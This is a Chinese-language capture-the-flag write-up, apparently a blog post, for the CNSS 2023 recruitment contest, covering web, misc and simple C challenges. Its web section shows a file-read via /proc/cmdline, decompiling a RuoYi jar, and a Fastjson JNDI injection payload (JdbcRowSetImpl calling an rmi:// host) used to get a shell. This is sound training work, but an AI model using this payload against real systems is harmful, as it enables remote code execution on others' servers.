CNSS{Fr0M_4rb1trA2y

Flag Part 2

提示/proc

Linux系统proc目录说明 - 知乎 (zhihu.com)

  1. 用上面的漏洞访问获得/proc/cmdline

    获得/usr/local/jdk8/bin/java -Xms64m -Xmx512m -jar /tmp/source/ruoyi.jar

  2. 得到jar包的路径:/tmp/source/ruoyi.jar

    再用上面漏洞获得jar

  3. 使用idea

    1. 进入idea的路径IntelliJ IDEA 2023.2.3\plugins\java-decompiler\lib可以注意到文件夹有个java-decompiler.jar

    2. ruoyi.jar复制到此文件夹

    3. 创建一个ruoyi文件夹

    4. 命令行写入java -cp "xxxx\plugins\java-decompiler\lib\java-decompiler.jar" org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true ruoyi.jar ruoyi回车执行

    5. 得到逆向的包,并解压,用idea打开

    6. 双击shift,搜索part2,得到flag

      image-20231020234402549

    _f1L3_Reaol_Vuln3rab1l1Ty

Flag Part 3

JNDI-Injection-Exploit: JNDI注入测试工具(A tool which generates JNDI links can start several servers to exploit JNDI Injection vulnerability,like Jackson,Fastjson,etc)

获取jndi工具

JNDI注入利用工具,生成JNDI链接并启动后端相关服务,可用于Fastjson、Jackson等相关漏洞的验证。

git到vps上,嘿嘿我在本地试了半天

根据上面获得的源码,可知fastjson的攻击地址为/common/sign,请求方式为POST,且post的数据经过了AES解密

所以我们需要先加密再post

查看AESUtils.javadecryptAES

image-20231021000823583

可以看到加密类型为AES/CBC/PKCS7Padding,且需要base64解密

关于jndi

FastJson远程代码执行漏洞基于JNDI反弹shell使用_fastjson反弹shell_Hapen_Lu的博客-CSDN博客

启动jndi服务,vps同时监听payload的端口

版本为jar1.8,选择1.8的rmi

{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://xxx:1099/0v7hzy ","autoCommit":true}}

随便找个aes加密网站

image-20231021002435641

打开你的post工具,这里我用的是postman

image-20231020235903632

把登陆的cookie复制到postman

image-20231021002458070

根据com.ruoyi.project.system.config.domain.Sign

image-20231020235051990

发送json数据

image-20231021002519074

查看监听,可以发现已经连接上了

image-20231021002752134

(如果跟我一样flag1没拿到也可以在这cat获得

_to_R3m0te_COde_Ex2cuT10n!!!}

整理一下,得到flag

CNSS{Fr0M_4rb1trA2y_f1L3_Reaol_Vuln3rab1l1Ty_to_R3m0te_COde_Ex2cuT10n!!!}

[Boss] 🗡 CNSS娘の复仇 - 1

访问到/assets/发现别人的webshell没删

CNSS{E4sy_Y1i2_uN5er1Aliz3_7o_RcE!}

Re

Pwn

Crypto

Misc

[Guideline] 🥰 SignIn

跟暑假赛一样,在qq群里,不会有人找不到吧~~

[Baby]🧐 招新平台的彩蛋

左上角,原神启动!(其实我是翻源码找到的

[Easy] ✨ 星光下的梦想

mp3文件,丢到Audacity康康,右键切到频谱图

image-20231025174055018

对于我这种眼瞎的很不友好

CNSS{DR34M~UND3RN347H~5T4R11GH7}

[Hard] 🎉 扫码领取 flag

如图

BrokenQR

Format Info Pattern是什么,我也不知道

这里用到一个网站:QRazyBox - QR Code Analysis and Recovery Toolkit (merri.cx)

image-20231025175347968

Brute-force Format Info Pattern爆破

稍等一下,点击左上角Editor Mode,出现

image-20231025180239074

点击Decode得到flag

cnss{Ur_Qr_K1NnG!}

[Baby] Hello World - 1

签到题

1
2
3
4
5
6
#include <stdio.h>

int main()
{
printf("Hi, CNSS!");
}

cnss{hello_cnss}

[Easy] Hello World - 2

1
2
3
4
5
6
7
#include <stdio.h>

int main()
{
char a[9] = {72, 105, 44, 32, 67, 78, 83, 83, 33 }; // Hi, CNSS!
puts(a);
}

cnss{hello_cn33_n0_quotes}

[Easy] Hello World - 3

1
2
3
4
5
#include <stdio.h>

int main() {
while(!printf("Hi, CNSS!")){}
}
1
2
3
4
5
#include <stdio.h>

int main() {
if(printf("Hi, CNSS!")){}
}
1
2
3
4
5
#include <stdio.h>

int main() {
switch(printf("Hi, CNSS!")){}
}

cnss{i_d0nt_l1ke_semic0lon}

[Realworld] 🌏 MCNSS

MC实在是太好玩啦!

CNSS{a_fAke_F1aG}


CNSS 2023 Recruit WriteUps~~~
http://example.com/posts/43716/
作者
Fanllspd
发布于
2023年10月17日
更新于
2024年9月7日
许可协议